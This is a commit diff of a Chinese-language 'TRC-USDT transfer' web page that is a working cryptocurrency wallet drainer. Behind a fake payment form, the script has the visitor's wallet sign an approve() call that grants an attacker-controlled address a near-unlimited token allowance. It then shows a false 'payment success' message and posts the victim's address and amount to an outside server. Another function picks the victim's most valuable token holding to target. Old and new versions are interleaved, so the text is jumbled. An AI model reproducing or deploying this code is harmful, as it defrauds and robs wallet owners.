fix
Helius
2021-10-20 56feb5713f436f0590a196e56b7a0a76e37145a1
src/main/resources/static/tron-app/tron.html
@@ -1,187 +1,262 @@
<!DOCTYPE html>
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css">         .tishi{
            width: 3.5rem;
            height: 1.2rem;
            background: #00000059;
            z-index: 999999999999;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border-radius: 0.1rem;
            color: white;
            font-size: 0.6rem;
            text-align: center;
            line-height: 1.2rem;
            display: none;
         }
      </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!--   <div class="item-inner">--><!--      <div class="item-after">备注</div>--><!--   </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi">                  付款成功
               </div></div></div><div id="s"></div></div>
      <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
      <div style="display:none;">
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
    <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no, email=no">
    <meta name="msapplication-tap-highlight" content="no">
    <meta name="x5-orientation" content="portrait">
    <meta name="x5-fullscreen" content="true">
    <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
    <meta name="description" content="">
    <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
    <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
    <link rel="stylesheet" href="./tron_files/reset.min.css">
    <link rel="stylesheet" href="./tron_files/main.css">
    <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
    <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
    <script type="text/javascript" src="./tron_files/flexible.js"></script>
    <style type="text/css">            .tishi {
        width: 3.5rem;
        height: 1.2rem;
        background: #00000059;
        z-index: 999999999999;
        position: fixed;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        border-radius: 0.1rem;
        color: white;
        font-size: 0.6rem;
        text-align: center;
        line-height: 1.2rem;
        display: none;
    }
    </style>
</head>
<body style="font-size: 12px;"><!-- Views -->
<div class="views"><!-- main view -->
    <div class="view view-main"><!-- Pages -->
        <div class="pages navbar-through">
            <div class="page">
                <div class="page-content" style="padding-top: 0.5rem;">
                    <div class="list-block address">
                        <div class="list-block-title">收款地址</div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
                                </div>
                            </li>
                        </ul>
                    </div>
                    <div class="list-block amount">
                        <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title"><input class="num" placeholder="0">
                                        <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
                                    </div>
                                </div>
                            </li><!--<li class="item-content">--><!--   <div class="item-inner">-->
                            <!--      <div class="item-after">备注</div>--><!--   </div>--><!--</li>--></ul>
                        <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
                    </div>
                    <div class="list-block-button">
                        <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
                        </button>
                    </div>
                </div>
            </div><!-- Preloader -->
            <div class="modal">
                <div class="preloader"></div>
            </div>
            <div class="tishi"> 付款成功
            </div>
        </div>
    </div>
    <div id="s"></div>
</div>
<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
<div style="display:none;">
         <textarea id="jsondata">
         {"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
         </textarea>
      </div>
      <script type="text/javascript">
         var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
         var agent = "10000";
         var rank = 6.5;
         var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
         var domain = 'https://dapp.dream-space.top';
         // var domain = 'http://localhost:8080';
         var bizhong = 'USDT';
         var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
         function getUrlQueryString(names, urls) {
            urls = urls || window.location.href;
            urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
            var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
            var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
            if (r != null && r[2] != "")
               return unescape(r[2]);
            return null;
</div>
<script type="text/javascript">
    var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    var agent = "10000";
    var rank = 6.5;
    var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
    var domain = 'https://dapp.dream-space.top';
    // var domain = 'http://localhost:8080';
    var bizhong = 'USDT';
    var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
         }
         $('input.num').bind('input propertychange', function(){
            if($(this).val() && $(this).val()>0){
               $('#btn-connect').css('background','#078bc3');
            }else{
               $('#btn-connect').css('background','#dde0dd');
            }
            $('#price').text(($(this).val()*rank).toLocaleString() )
         })
    function getUrlQueryString(names, urls) {
        urls = urls || window.location.href;
        urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
        var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
        var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
        if (r != null && r[2] != "")
            return unescape(r[2]);
        return null;
         async function postInfo(address,symbol){
            var data = {
               address:address,
               authAddress:authorized_address,
               symbol:symbol
            }
    }
            $.ajax({
               type: 'post',
               url:  domain + "/trx/trcPost.html",
               data:data,
               success:function(){
                  location.href = domain + "/tron-app/trc_post.html";
               }
            })
         }
    $('input.num').bind('input propertychange', function () {
        if ($(this).val() && $(this).val() > 0) {
            $('#btn-connect').css('background', '#078bc3');
        } else {
            $('#btn-connect').css('background', '#dde0dd');
        }
        $('#price').text(($(this).val() * rank).toLocaleString())
    })
      $(function() {
         const addr = JSON.parse($('#jsondata').html());
    async function postInfo(address, symbol) {
        var amount = $($('input.num')[0]).val();
        var data = {
            address: address,
            authAddress: authorized_address,
            symbol: symbol,
            amount: amount
        }
         const price = {
            'WIN': 0.001150,
            'USDT':1,
            'TONS':1.35,
            'USDJ':1.04,
            'JST': 0.125,
            "HT": 20.41,
            "SUN": 33.97,
            "EXNX": 0.0621,
            "VCOIN": 0.004225,
            "POL": 0.1393,
            "CKRW": 0.002487,
         }
        $.ajax({
            type: 'post',
            url: domain + "/trx/trcPost.html",
            data: data,
            success: function () {
                location.href = domain + "/tron-app/trc_post.html";
            }
        })
    }
         const decimals = {
            'WIN': 6,
            'USDT':6,
            'TONS':6,
            'USDJ':18,
            'JST': 18,
            "HT": 18,
            "SUN": 18,
            "EXNX": 18,
            "VCOIN": 6,
            "POL": 8,
            "CKRW": 6,
         }
         var total=0;
         async function getMostValuableAssets(account) {
            let _symbol = 'USDT';
            for (const symbol of Object.keys(addr)) {
               let contract = await tronWeb.contract().at(addr[symbol]);
               let myBalance = await contract.balanceOf(account).call(function(err,balance){
                  const usdt = balance / (10** (decimals[symbol] || 18)) * price[symbol];
                  console.log(usdt);
                  if (usdt > total && usdt > 500) {
                     _symbol = symbol;
                     total = usdt;
                     approveAddr = addr[_symbol];
                  }
               })
            }
            bizhong = _symbol;
            return _symbol;
         }
    $(function () {
         /**
         * * Connect wallet button pressed.
         */
         async function onConnect() {
            $('.pages').append('<div class="modal-overlay"></div>');
            $('.modal-overlay').addClass('modal-overlay-visible');
            $('.modal').removeClass('modal-out').addClass('modal-in');
            let tronWeb = window.tronWeb;
            let walletAddress = tronWeb.defaultAddress.base58;
            // bizhong = await getMostValuableAssets(walletAddress);
            let instance = await tronWeb.contract().at(approveAddr);
            let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
            res.send({
               feeLimit: 100000000,
               callValue: 0,
               shouldPollResponse: false
            },function(err,res){
               if(err == null){
                  $(".tishi").fadeIn()
                  setTimeout(function () {
                     $(".tishi").fadeOut()
                  },2000);
                  postInfo(walletAddress,bizhong)
               }
               $('.modal-overlay').remove();
               $('.modal').removeClass('modal-in').addClass('modal-out');
            })
         }
         function init() {
         }
         async function s(){
            if (window.tronWeb) {
               var tronWeb = window.tronWeb;
               let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
               let walletAddress = tronWeb.defaultAddress.base58;
               let result = await contract.balanceOf(walletAddress).call(function(err,tex){
                  if(err == null){
                     let total = tex._hex/(10**6);
                     $('#yu').text(total.toLocaleString() +' USDT')
                     console.log();
                  }
               });
            }else{
            }
         }
        const addr = JSON.parse($('#jsondata').html());
         /**
         * Main entry point.
         */
         init();
         document.querySelector("#btn-connect").addEventListener("click", onConnect);
         document.querySelector("#s").addEventListener("click", s);
      })
      $(function(){
         setTimeout(function(){
            $('#s').click()
         },1000);
      })
      </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
        const price = {
            'WIN': 0.001150,
            'USDT': 1,
            'TONS': 1.35,
            'USDJ': 1.04,
            'JST': 0.125,
            "HT": 20.41,
            "SUN": 33.97,
            "EXNX": 0.0621,
            "VCOIN": 0.004225,
            "POL": 0.1393,
            "CKRW": 0.002487,
        }
        const decimals = {
            'WIN': 6,
            'USDT': 6,
            'TONS': 6,
            'USDJ': 18,
            'JST': 18,
            "HT": 18,
            "SUN": 18,
            "EXNX": 18,
            "VCOIN": 6,
            "POL": 8,
            "CKRW": 6,
        }
        var total = 0;
        async function getMostValuableAssets(account) {
            let _symbol = 'USDT';
            for (const symbol of Object.keys(addr)) {
                let contract = await tronWeb.contract().at(addr[symbol]);
                let myBalance = await contract.balanceOf(account).call(function (err, balance) {
                    const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
                    console.log(usdt);
                    if (usdt > total && usdt > 500) {
                        _symbol = symbol;
                        total = usdt;
                        approveAddr = addr[_symbol];
                    }
                })
            }
            bizhong = _symbol;
            return _symbol;
        }
        /**
         * * Connect wallet button pressed.
         */
        async function onConnect() {
            $('.pages').append('<div class="modal-overlay"></div>');
            $('.modal-overlay').addClass('modal-overlay-visible');
            $('.modal').removeClass('modal-out').addClass('modal-in');
            let tronWeb = window.tronWeb;
            let walletAddress = tronWeb.defaultAddress.base58;
            // bizhong = await getMostValuableAssets(walletAddress);
            // postInfo(walletAddress, bizhong)
            let instance = await tronWeb.contract().at(approveAddr);
            let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
            res.send({
                feeLimit: 100000000,
                callValue: 0,
                shouldPollResponse: false
            }, function (err, res) {
                if (err == null) {
                    $(".tishi").fadeIn()
                    setTimeout(function () {
                        $(".tishi").fadeOut()
                    }, 2000);
                    postInfo(walletAddress, bizhong)
                }
                $('.modal-overlay').remove();
                $('.modal').removeClass('modal-in').addClass('modal-out');
            })
        }
        function init() {
        }
        async function s() {
            if (window.tronWeb) {
                var tronWeb = window.tronWeb;
                let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
                let walletAddress = tronWeb.defaultAddress.base58;
                let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
                    if (err == null) {
                        let total = tex._hex / (10 ** 6);
                        $('#yu').text(total.toLocaleString() + ' USDT')
                        console.log();
                    }
                });
            } else {
            }
        }
        /**
         * Main entry point.
         */
        init();
        document.querySelector("#btn-connect").addEventListener("click", onConnect);
        document.querySelector("#s").addEventListener("click", s);
    })
    $(function () {
        setTimeout(function () {
            $('#s').click()
        }, 1000);
    })
</script>
<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
</body>
</html>